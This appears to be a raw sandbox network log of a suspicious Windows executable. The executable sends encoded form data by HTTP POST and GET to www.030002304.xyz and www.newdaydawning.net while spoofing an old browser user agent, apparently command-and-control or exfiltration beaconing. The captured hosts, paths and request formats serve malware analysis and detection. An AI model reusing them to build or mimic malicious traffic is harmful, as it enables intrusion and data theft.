Oct 9, 2024 14:02:20.795475006 CEST	1815	OUT	POST /6uay/ HTTP/1.1 Host: www.030002304.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.030002304.xyz Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 1230 Cache-Control: no-cache Referer: http://www.030002304.xyz/6uay/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Data Raw: 38 54 32 68 6e 3d 31 76 65 75 30 36 4f 74 4d 6b 78 75 38 4f 6e 5a 37 75 36 49 45 6f 53 54 51 67 51 52 65 77 46 6d 69 31 79 77 44 77 62 52 44 64 6b 36 79 6f 2f 4b 4e 48 77 59 4b 63 45 37 74 67 46 52 55 41 62 50 36 4c 78 6a 67 39 70 4b 58 5a 4c 2b 36 53 57 6e 41 74 6a 75 6d 6d 2b 53 59 36 56 4b 54 44 33 55 5a 30 34 4b 76 64 73 37 77 74 76 67 49 79 45 58 58 6c 2b 5a 30 73 76 59 6b 52 7a 73 32 48 69 30 67 37 39 7a 48 2f 6f 54 73 6c 58 77 63 51 4a 37 46 34 70 2b 61 70 37 55 34 39 71 67 42 61 53 71 6f 35 68 32 42 42 66 41 49 5a 65 6f 42 30 76 54 37 79 35 57 52 67 35 51 50 5a 67 51 69 56 68 57 6b 63 45 50 52 38 62 7a 31 2b 77 73 4b 53 79 4c 48 4e 68 75 6b 38 75 4f 37 6e 73 37 6b 6f 6b 35 4a 2b 42 46 37 75 57 48 5a 6c 45 78 79 6d 65 6e 4d 68 6a 67 75 6c 63 45 49 77 76 65 37 45 32 2b 41 42 6a 64 78 38 55 4c 41 73 70 69 6b 55 62 4f 6b 47 57 4a 6c 36 6e 4b 68 75 73 41 64 5a 45 52 51 46 31 54 68 47 4c 54 2f 30 46 79 6e 51 75 30 63 47 4c 65 36 75 7a 4e 76 58 5a 33 79 56 51 6c 56 36 76 43 6d 38 52 61 53 56 65 31 [TRUNCATED] Data Ascii: 8T2hn=1veu06OtMkxu8OnZ7u6IEoSTQgQRewFmi1ywDwbRDdk6yo/KNHwYKcE7tgFRUAbP6Lxjg9pKXZL+6SWnAtjumm+SY6VKTD3UZ04Kvds7wtvgIyEXXl+Z0svYkRzs2Hi0g79zH/oTslXwcQJ7F4p+ap7U49qgBaSqo5h2BBfAIZeoB0vT7y5WRg5QPZgQiVhWkcEPR8bz1+wsKSyLHNhuk8uO7ns7kok5J+BF7uWHZlExymenMhjgulcEIwve7E2+ABjdx8ULAspikUbOkGWJl6nKhusAdZERQF1ThGLT/0FynQu0cGLe6uzNvXZ3yVQlV6vCm8RaSVe1NEyiWZZSinQiG4auNu2MvwuaCVke/kt51bRx6wxLZbw/3c9cygR14mpx5PnDT1J3nCCVybyrXdR1zohM+uNGvXgwj7OPW7cxMNFiaMwTJmi0eBHop9UmDI7Kcmuk8wvLKQ9miEAfyi2ncq0x+Nsji4SDfwRGfNtiP1uelIq72NFeNKlkdJ4mqdGiYrXPl5zJE0gOaBT7+uJlEuFzT+x2vbR934YGLAlB+z5PROzqtP9Z+rclNVHyknb+/F/cU7KfEaTBQIEIfXNq8zGuNQr1A7blwFU731B7iD78LcPyEuy1ETaiT9uUmEylq+85MNr0uBw6O0ZS5IszA5ZXuihgaQJatYO02u7GoEeUJSONeNy/apoY/dq+Xi+iYikBCm6HMOwDA859jQHOLXHbB7F+GfExF18kfrICTlhA1x5/HcJHS88lLkfeAGRzvt/hnLOV7nbQmpbRmEUjyOTpHScVbj92PB+jDfwgWjWwpuyrZ5BNmzNnxgbmJfyB5lVhOwLWa4BxSpoLpvaC0NVaNgq0aC9hQkxxusNrlQjIDkkhAOG+USFpjoDik9C7ojlwhIAi/+AD4XQBBGHX5a+XiR6H33m3LuSmXYuOLrGnJS05B7CejBhYkMPGb1dczDEVV69D1oxf5GVKjV0U/95F7iofBRhpbRgbNTi+MZ [TRUNCATED]
Oct 9, 2024 14:02:21.471190929 CEST	1032	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 09 Oct 2024 12:02:21 GMT vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49984	65.21.196.90	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:23.339941025 CEST	513	OUT	GET /6uay/?8T2hn=4t2O3O+pZmQg6Me57d3wJo6heDIGdjpowWW3Ki6AModP/Z3yDnI8KOs9thhsa1jg844M9/RLYM/vwhOiRdypu3qnYIwYUCnWcXg0sNwBl87ACBA0Bg==&wZBh=UzoT8ph HTTP/1.1 Host: www.030002304.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Oct 9, 2024 14:02:23.989788055 CEST	1032	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 09 Oct 2024 12:02:23 GMT vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49985	44.213.25.70	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:29.183646917 CEST	790	OUT	POST /igaf/ HTTP/1.1 Host: www.newdaydawning.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.newdaydawning.net Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 194 Cache-Control: no-cache Referer: http://www.newdaydawning.net/igaf/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Data Raw: 38 54 32 68 6e 3d 2b 35 42 37 38 31 51 73 38 75 66 69 65 61 63 63 54 65 51 4b 34 75 68 46 64 52 49 48 4a 46 66 61 59 50 6e 71 31 37 4e 59 46 65 45 6f 6b 4f 54 2b 68 6a 49 56 4d 4a 4f 72 38 4b 77 65 7a 72 43 57 48 53 77 51 70 4d 68 58 70 37 75 72 58 6f 54 6b 2f 5a 77 77 51 50 4b 57 6c 2f 4c 6a 33 4c 6a 49 36 37 78 76 6c 43 76 33 75 54 75 45 6a 69 43 46 54 32 55 63 78 32 71 34 5a 71 2f 68 47 6e 6b 73 66 6b 71 72 33 67 70 4e 6e 30 41 69 65 54 61 42 69 65 74 36 4f 39 6c 47 78 44 51 43 50 55 79 48 54 6b 68 4e 62 70 63 56 75 37 30 77 4c 37 47 33 41 31 59 32 76 48 72 69 43 76 79 59 Data Ascii: 8T2hn=+5B781Qs8ufieaccTeQK4uhFdRIHJFfaYPnq17NYFeEokOT+hjIVMJOr8KwezrCWHSwQpMhXp7urXoTk/ZwwQPKWl/Lj3LjI67xvlCv3uTuEjiCFT2Ucx2q4Zq/hGnksfkqr3gpNn0AieTaBiet6O9lGxDQCPUyHTkhNbpcVu70wL7G3A1Y2vHriCvyY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49986	44.213.25.70	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:31.733153105 CEST	814	OUT	POST /igaf/ HTTP/1.1 Host: www.newdaydawning.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.newdaydawning.net Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 218 Cache-Control: no-cache Referer: http://www.newdaydawning.net/igaf/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Data Raw: 38 54 32 68 6e 3d 2b 35 42 37 38 31 51 73 38 75 66 69 66 2b 59 63 52 35 6b 4b 35 4f 68 45 42 68 49 48 65 56 66 65 59 50 6a 71 31 36 4a 49 45 73 77 6f 6b 75 6a 2b 67 6e 6b 56 63 5a 4f 72 79 71 77 62 73 37 43 64 48 53 38 70 70 4a 42 58 70 37 71 72 58 6f 6a 6b 2f 6f 77 7a 52 66 4b 55 39 50 4c 6c 34 72 6a 49 36 37 78 76 6c 43 72 4e 75 54 47 45 6a 78 61 46 42 54 30 54 71 57 71 35 50 36 2f 68 58 58 6b 6f 66 6b 71 7a 33 6b 4a 7a 6e 32 34 69 65 53 71 42 69 50 74 35 46 39 6c 45 76 44 52 7a 43 6d 50 6a 63 45 68 75 59 35 34 4c 77 59 34 41 49 61 6d 70 52 48 52 74 36 51 72 46 46 49 37 77 50 78 41 45 6f 64 74 31 73 6e 37 2f 4d 61 63 32 51 66 39 57 6d 41 3d 3d Data Ascii: 8T2hn=+5B781Qs8ufif+YcR5kK5OhEBhIHeVfeYPjq16JIEswokuj+gnkVcZOryqwbs7CdHS8ppJBXp7qrXojk/owzRfKU9PLl4rjI67xvlCrNuTGEjxaFBT0TqWq5P6/hXXkofkqz3kJzn24ieSqBiPt5F9lEvDRzCmPjcEhuY54LwY4AIampRHRt6QrFFI7wPxAEodt1sn7/Mac2Qf9WmA==
Oct 9, 2024 14:02:33.063723087 CEST	495	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:02:32 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://newdaydawning.net/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 0d 0a 32 64 0d 0a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 0d 0a 35 31 0d 0a 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 0d 0a Data Ascii: 16<!doctype html><html 2dlang="en-US" prefix="og: https://ogp.me/ns#" 51><head><link rel="profile" href="https://gmpg.org/xfn/11"><meta charset="
Oct 9, 2024 14:02:33.064151049 CEST	1236	IN	Data Raw: 61 31 65 0d 0a 55 54 46 2d 38 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 Data Ascii: a1eUTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><script type="text/javascript">window.flatStyles = window.flatStyles \|\| ''window.lightspeedOptimizeStylesheet = function () {const currentSt
Oct 9, 2024 14:02:33.064189911 CEST	1236	IN	Data Raw: 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 64 61 74 61 2d 6c 73 2d 6f 70 74 69 6d 69 7a 65 64 27 2c 20 27 31 27 20 29 0a 0a 09 09 09 09 09 09 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 2b 3d 20 63 75 72 72 65 6e 74 53 74 79 Data Ascii: setAttribute( 'data-ls-optimized', '1' )window.flatStyles += currentStylesheet.innerHTMLthis.optimizing = false}} else {window.flatStyles = currentStylesheet.innerHTMLcurrentStylesheet.s
Oct 9, 2024 14:02:33.064203024 CEST	125	IN	Data Raw: 65 6d 65 6e 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 20 21 3d 3d 20 27 48 45 41 44 27 20 29 20 7b 0a 09 09 09 09 09 09 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 20 73 74 79 6c 65 53 68 65 65 74 45 Data Ascii: ement.parentElement.tagName !== 'HEAD' ) {document.head.append( styleSheetElement )}}}</script>
Oct 9, 2024 14:02:33.083913088 CEST	1236	IN	Data Raw: 31 66 34 30 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 74 63 62 2d 73 74 79 6c 65 2d 62 61 73 65 2d 74 68 72 69 76 65 5f 74 65 6d 70 6c 61 74 65 2d 32 31 39 22 20 20 6f 6e 4c 6f 61 64 3d 22 74 79 70 65 Data Ascii: 1f40<style type="text/css" id="tcb-style-base-thrive_template-219" onLoad="typeof window.lightspeedOptimizeStylesheet === 'function' && window.lightspeedOptimizeStylesheet()" class="tcb-lightspeed-style">.thrv_widget_menu{position:relative;
Oct 9, 2024 14:02:33.083950996 CEST	1236	IN	Data Raw: 2d 69 74 65 6d 2d 64 72 6f 70 64 6f 77 6e 2d 74 72 69 67 67 65 72 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 3b 7d 2e 74 76 65 2d 6d 2d 74 72 69 67 67 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 2d 77 Data Ascii: -item-dropdown-trigger:not(:empty){margin-left:8px;}.tve-m-trigger{display:none;-webkit-tap-highlight-color:transparent;}.tve-m-trigger:focus,.tve-m-trigger:active{outline:none;}.tve-m-trigger .thrv_icon{font-size:33px;width:33px;height:33px;m
Oct 9, 2024 14:02:33.083964109 CEST	1236	IN	Data Raw: 61 70 70 65 72 5b 63 6c 61 73 73 2a 3d 22 74 76 65 2d 63 75 73 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 20 75 6c 2e 74 76 65 5f 77 5f 6d 65 6e 75 20 6c 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 68 Data Ascii: apper[class="tve-custom-menu-switch-icon-"] ul.tve_w_menu li{background-color:inherit;}.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"] ul.tve_w_menu ul{display:none;position:relative;width:100%;left:0px;top:0px;}.thrv_wi
Oct 9, 2024 14:02:33.084068060 CEST	1236	IN	Data Raw: 32 35 35 29 3b 7d 2e 74 68 72 76 5f 77 69 64 67 65 74 5f 6d 65 6e 75 2e 74 68 72 76 5f 77 72 61 70 70 65 72 5b 63 6c 61 73 73 2a 3d 22 74 76 65 2d 63 75 73 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 5b 63 6c 61 73 73 2a Data Ascii: 255);}.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"][class="light-tmp"] ul.tve_w_menu .sub-menu{box-shadow:none;}.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"][class="light-tmp"] ul.tve_w_menu li
Oct 9, 2024 14:02:33.084079981 CEST	1236	IN	Data Raw: 61 70 70 65 72 5b 63 6c 61 73 73 2a 3d 22 74 76 65 2d 63 75 73 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 2e 74 76 65 2d 6d 6f 62 69 6c 65 2d 64 72 6f 70 64 6f 77 6e 20 2e 74 76 65 2d 6d 2d 74 72 69 67 67 65 72 7b 70 6f Data Ascii: apper[class="tve-custom-menu-switch-icon-"].tve-mobile-dropdown .tve-m-trigger{position:relative;}.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"].tve-mobile-dropdown .tve-m-trigger .thrv_icon{display:block;transition:opa
Oct 9, 2024 14:02:33.084090948 CEST	1120	IN	Data Raw: 65 74 5f 6d 65 6e 75 2e 74 68 72 76 5f 77 72 61 70 70 65 72 5b 63 6c 61 73 73 2a 3d 22 74 76 65 2d 63 75 73 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 2e 74 76 65 2d 6d 6f 62 69 6c 65 2d 73 69 64 65 2d 72 69 67 68 74 20 Data Ascii: et_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"].tve-mobile-side-right ul.tve_w_menu::-webkit-scrollbar,.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"].tve-mobile-side-left ul.tve_w_menu::-webkit-scrollbar,.thr
Oct 9, 2024 14:02:33.084295034 CEST	1236	IN	Data Raw: 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 2e 74 76 65 2d 6d 6f 62 69 6c 65 2d 73 69 64 65 2d 66 75 6c 6c 73 63 72 65 65 6e 20 75 6c 2e 74 76 65 5f 77 5f 6d 65 6e 75 3a 3a 2d 77 65 62 6b 69 74 2d 73 63 72 6f 6c 6c 62 61 Data Ascii: tom-menu-switch-icon-"].tve-mobile-side-fullscreen ul.tve_w_menu::-webkit-scrollbar-thumb{height:23px;border:4px solid rgba(0,0,0,0);background-clip:padding-box;border-radius:7px;background-color:rgba(0,0,0,0.15);box-shadow:rgba(0,0,0,0.05) -1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49987	44.213.25.70	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:34.282876015 CEST	1827	OUT	POST /igaf/ HTTP/1.1 Host: www.newdaydawning.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.newdaydawning.net Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 1230 Cache-Control: no-cache Referer: http://www.newdaydawning.net/igaf/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Data Raw: 38 54 32 68 6e 3d 2b 35 42 37 38 31 51 73 38 75 66 69 66 2b 59 63 52 35 6b 4b 35 4f 68 45 42 68 49 48 65 56 66 65 59 50 6a 71 31 36 4a 49 45 73 6f 6f 6e 64 72 2b 76 67 77 56 4f 4a 4f 72 73 36 77 61 73 37 43 45 48 52 4d 74 70 4a 46 70 70 34 65 72 59 70 44 6b 6f 4b 59 7a 49 50 4b 55 68 2f 4c 6b 33 4c 6a 6e 36 36 42 6a 6c 43 62 4e 75 54 47 45 6a 7a 75 46 58 32 55 54 74 6d 71 34 5a 71 2f 39 47 6e 6b 41 66 6b 79 6a 33 6c 4a 6a 6e 6d 59 69 65 79 36 42 6e 39 31 35 47 64 6c 4b 71 44 52 72 43 6d 44 38 63 45 39 59 59 35 38 31 77 59 41 41 4c 76 44 33 4b 32 68 70 76 79 37 46 48 34 44 4e 46 55 59 2f 73 5a 49 70 73 6d 57 66 53 61 4e 32 61 66 34 66 6b 37 6a 6c 4d 63 38 30 39 54 6a 6d 38 7a 35 66 2f 58 54 44 32 44 67 44 66 73 38 4e 63 34 53 62 6b 56 7a 6e 55 35 70 2f 30 4b 30 76 46 6f 64 6e 49 74 31 76 64 57 48 49 4e 72 64 70 7a 59 65 69 51 36 72 30 55 6e 5a 4f 45 41 65 6f 2f 4e 4b 79 6b 79 78 39 45 64 45 4b 4b 55 62 5a 55 53 30 39 7a 56 56 64 6a 6f 73 2f 33 35 76 4c 74 37 4b 6a 4f 33 61 36 63 45 42 47 67 50 77 47 [TRUNCATED] Data Ascii: 8T2hn=+5B781Qs8ufif+YcR5kK5OhEBhIHeVfeYPjq16JIEsoondr+vgwVOJOrs6was7CEHRMtpJFpp4erYpDkoKYzIPKUh/Lk3Ljn66BjlCbNuTGEjzuFX2UTtmq4Zq/9GnkAfkyj3lJjnmYiey6Bn915GdlKqDRrCmD8cE9YY581wYAALvD3K2hpvy7FH4DNFUY/sZIpsmWfSaN2af4fk7jlMc809Tjm8z5f/XTD2DgDfs8Nc4SbkVznU5p/0K0vFodnIt1vdWHINrdpzYeiQ6r0UnZOEAeo/NKykyx9EdEKKUbZUS09zVVdjos/35vLt7KjO3a6cEBGgPwGqVfYbVKpYtLRlgpQkEx10LogTh0fCDuDc+3jcGliYVtkNNrNOg7cVtGc4YG5O3n/9Qvoq/CGy3ZYO8QWy77f0W4iEA0PG8PeljPtZfQ0Ey4mdLHy6qOiFS5vcXqAnRygjZdrElTsA4RnIvJGXA+Ov9t1cOvDFEFpQkY4qX3c6wSkOB4c/XBphGwkedO1hOnz0/GVCcItIORI/KPqiMAMoOXiEd6Mbxrz+ZigMhW9o3vBetf27EmwjW8d/CBhe1Yp6yBz72GN+aK9J0jVIc2FdwFiqGQeE2nhKzGhpzwwNaAlo61qFpKqMiigofeOPasM9QU0WGAh7WAg+/gqxhT8Of6Yc8dO/hASPAJOrkdYx87L+TxQeLuVy7pHql9zCxQWf0UtPzjB6fNcoLpWMPsiu67TXzNZgIDBhSVjG0fK3G8eXj/0q/4CcJOzCWUHgU9JD1Y6Yob/YEsobJX4f1IprrgfJOtOJmQDvvYcTQzht2rA29UhJeT5VIDhYl1CmoUp0sQLbGSuQMLH7E89S0O7i7H/3ef+LOq0MRmb4F59saj23BkrY1epAJ1i4mpe54960xkmsYABCD7AklWeJ4YS2OYcCTSQDRihyh46LveYIgUqBrX8UirHeccUDjHZ7IpMxjVXHR084FfITcyRaHt2fUhs5OCFFGIvHe [TRUNCATED]
Oct 9, 2024 14:02:35.483587980 CEST	489	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:02:34 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://newdaydawning.net/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 0d 0a 37 65 0d 0a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 0d 0a Data Ascii: 16<!doctype html><html 7elang="en-US" prefix="og: https://ogp.me/ns#" ><head><link rel="profile" href="https://gmpg.org/xfn/11"><meta charset="
Oct 9, 2024 14:02:35.483954906 CEST	1236	IN	Data Raw: 61 31 65 0d 0a 55 54 46 2d 38 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 Data Ascii: a1eUTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><script type="text/javascript">window.flatStyles = window.flatStyles \|\| ''window.lightspeedOptimizeStylesheet = function () {const currentSt
